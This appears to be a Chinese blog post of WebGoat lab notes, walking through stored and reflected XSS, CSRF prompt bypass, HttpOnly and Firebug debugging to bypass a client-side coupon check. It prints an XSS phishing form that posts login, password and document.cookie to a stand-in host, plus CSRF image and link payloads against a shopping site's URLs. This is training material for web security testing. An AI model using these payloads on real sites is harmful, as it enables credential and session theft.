【WebGoat筆記】

文章來源:http://www.cnblogs.com/jonniexie/category/250726.html

 

主要內容:

WebGoat的安裝(略),內部訪問方法與後續需要使用的Firebug的一些功能

一.WebGoat安裝(略)與訪問

二.瀏覽器推薦使用Firefox

(1)FireBug安裝

(2)定位查看頁面元素

(3)Js調試

 


一.WebGoat安裝(略)與訪問

訪問方式:

先配置host: xx.xx.xx.xx hacker.qq.com

訪問URL:http://hacker.qq.com:8080/webgoat/attack

用戶密碼和密碼是: guest/guest

 

主要內容

保存,反射型Xss,CSRF及HttpOnly的特性

Phishing with XSS

 

LAB: Cross Site Scripting

Stage 1: Stored XSS.

 

Stage 2: Block Stored XSS using Input Validation

Stage 3: Stored XSS Revisited

Stage 4: Block Stored XSS using Output Encoding

Stage 5: Reflected XSS.

 

Stage 6: Block Reflected XSS.

Stored XSS Attacks.

 

Reflected XSS Attacks.

Cross Site Request Forgery (CSRF)

CSRF Prompt By-Pass.

 

CSRF Token By-Pass.

HTTPOnly Test

Cross Site Tracing (XST) Attacks.

 

Phishing with XSS

分析

如圖所示,我們輸入任何內容,點擊“Search”後會顯示在左下角,

clip_image002

查看左下角內容的HTML源碼,看是否有需要閉合的標籤

clip_image004

方法

很完美,無任何限制。。。

輸入<script>alert('xss')</script>

或者釣魚(爲了排版我用回車截斷了)

<div><br><br>拍拍網登錄<form

action="http://www.hacker.com/getinfo?cookie="%2bdocument.cookie>

<table><tr><td>Login:</td><td><input type=text length=20 name=login>

</td></tr><tr><td>Password:</td><td>

<input type=text length=20 name=password></td></tr></table>

<input type=submit value=LOGIN></div>

結果如下圖:

clip_image006

LAB: Cross Site Scripting

Stage 1: Stored XSS

這個案例需要執行一個保存型的XSS

分析

普通職員可以修改查看自己的資料,管理員可以查看普通職員的資料

1.在職員larry的個人資料中插入xss腳本

2.管理員在查看larry的個人資料時運行腳本中招~(這樣就可以盜取管理員身份,或者利用管理員身份來乾點其他事CSRF)

方法

1.登陸larry用戶,修改用戶資料,把Street修改爲<script>alert('xss')</script>,

clip_image008

點擊” UpdateProfile”之後立即彈出窗口,說明這個XSS是可行的~

然後退出Larry用戶,登陸Moe查看Larry的信息,驗證攻擊是否成功~

Stage 2: Block Stored XSS using Input Validation

THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT

Stage 3: Stored XSS Revisited

THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT

Stage 4: Block Stored XSS using Output Encoding

THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT

Stage 5: Reflected XSS

分析

當客戶端發送什麼,服務器就返回什麼的時候,就會出現反射型XSS,比如搜索框

方法

登陸一個manager

clip_image010

在搜索框中輸入 <script>alert('xss')</script>

Stage 6: Block Reflected XSS

THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT

Stored XSS Attacks

分析

保存型Xss是攻擊者將Xss代碼保存在服務器上,任何用戶訪問都會中招~

方法

輸入以下數據:

clip_image012

Reflected XSS Attacks

上一節已經講過了,這裏還可以輸入<script>alert('xss')</script>

clip_image014

Cross Site Request Forgery (CSRF)

分析

這個和XSS類似,不過XSS是騙取用戶的信息,然後複製用戶身份進行攻擊

CSRF不用獲得用戶信息,在消息中插入,如果用戶在看這封郵件的時候,正好登陸了paipai,又一不小心點擊了下面這個鏈接,那麼被害者就會執行攻擊者發送的CGI命令xxcgi(可能是改價,刪除商品等敏感操作)

<a href="http://www.paipai.com/xxcgi?xx=x;jj=j" target="_blank">點我你就中招了</a>

或者

<img src="http://www.paipai.com/xxcgi?xx=x;jj=j" />

前者需要用戶點擊,而後者用戶看到這個帖子的時候就自動發送了請求~

CSRF Prompt By-Pass

分析

這個攻擊需要兩部,一次輸入轉賬的數目,第二次確認,沒有驗證碼的時代好危險。。。。

方法

<img src="?transferFunds=4000" />

<img src="?transferFunds=CONFIRM" />

CSRF Token By-Pass

。。。我倒,不知道怎麼就過了

HTTPOnly Test

關於httponly:

If the HttpOnly flag (optional) is included in the HTTP response header, the cookie cannot be accessed through client side script (again if the browser supports this flag). As a result, even if a cross-site scripting (XSS) flaw exists, and a user accidentally accesses a link that exploits this flaw, the browser (primarily Internet Explorer) will not reveal the cookie to a third party.

大家可以看看httponly設置前後Js讀取Cookie的情況

clip_image016

 

 

 

二.瀏覽器推薦使用Firefox

在完成WebGoat的任務時,會有修改頁面元素的部分,FireBug是個很不錯的工具,可以助你早日通關,下面介紹下FireBug中之後我們會用到的幾個功能

(1)FireBug 安裝

點擊工具->附加組件打開組件管理器

clip_image004

獲取附加組件中搜索FireBug,點擊安裝即可

clip_image006

打開FireBug,下面標記的是我們重點將用到的三個按鈕

clip_image008

(2) 定位查看頁面元素

當我們激活”查看頁面元素”按鈕的時候,鼠標在頁面移動時會有一個藍色的框高亮顯示當前鼠標所在元素,相應的下面HTML欄裏面會在DOM樹裏面找到該元素所在位置,如下圖所示

clip_image010

找到該元素後,點擊左鍵確認,釋放” 查看頁面元素”按鈕功能,這時我們就可以在HTML欄裏面修改該元素的值

比如我要把” How To Work With WebGoat” 修改成 “Welcome to Paipai”

點擊clip_image012 ,輸入clip_image014

查看頁面,應該是即時生效了clip_image015

(3)Js 調試

注意上圖中,腳本項要設置爲”啓動”

clip_image008[1]

在這裏我們用WebGoat中的一個實例來顯示這個功能

實例位置:AJAX Security 下面的 Insecure Client Storage

目標:用戶輸入一個coupon後點擊”Purchase”,前臺Js會驗證code的有效性,我們要通過修改Js運行時的變量值跳過這個檢查~

clip_image017

使用” 查看頁面元素”工具查看coupon code輸入框,發現提交時,驗證coupon code的js函數是javascript/clientSideValidation.js中的isValidCoupon(field1.value)函數

clip_image019

我們選中腳本欄,選擇javascript/clientSideValidation.js文件,就可以找到isValidCoupon函數,或者在右側的搜索框中直接輸入isValidCoupon也可以查找到isValidCoupon函數

clip_image021

查看isValidCoupon函數,可以發現下圖紅框處就是判斷coupon code是否合法的關鍵代碼行了,在行數左側點左鍵,設置一個斷點

clip_image023

在coupon code的輸入框內輸入任何一個字母:

clip_image025

這時激活了onkeyup事件,調用isValidCoupon,程序運行到我們設置的斷點處

clip_image027

可以看到我們輸入的是coupon = 1

把鼠標放到變量decrypted上,顯示decrypted = “PLATINUM”

要是函數返回ture,我們需要coupon == decrypted成立,所以我們在右邊的監控欄中把coupon的值改成PLATINUM

clip_image029

鼠標移動到coupon上看看coupon的值已經被修改,點擊運行按鈕,通過~

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章